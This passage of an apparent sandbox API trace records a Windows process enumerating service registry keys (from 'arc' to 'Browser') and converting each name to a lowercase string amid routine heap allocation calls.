lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.922] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.922] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.923] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.923] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.923] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.923] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.924] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.924] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.924] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0248.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.924] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.925] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.925] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0248.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.942] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.942] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.942] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0248.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.943] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.943] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.943] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.943] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0248.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.944] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0248.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.944] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 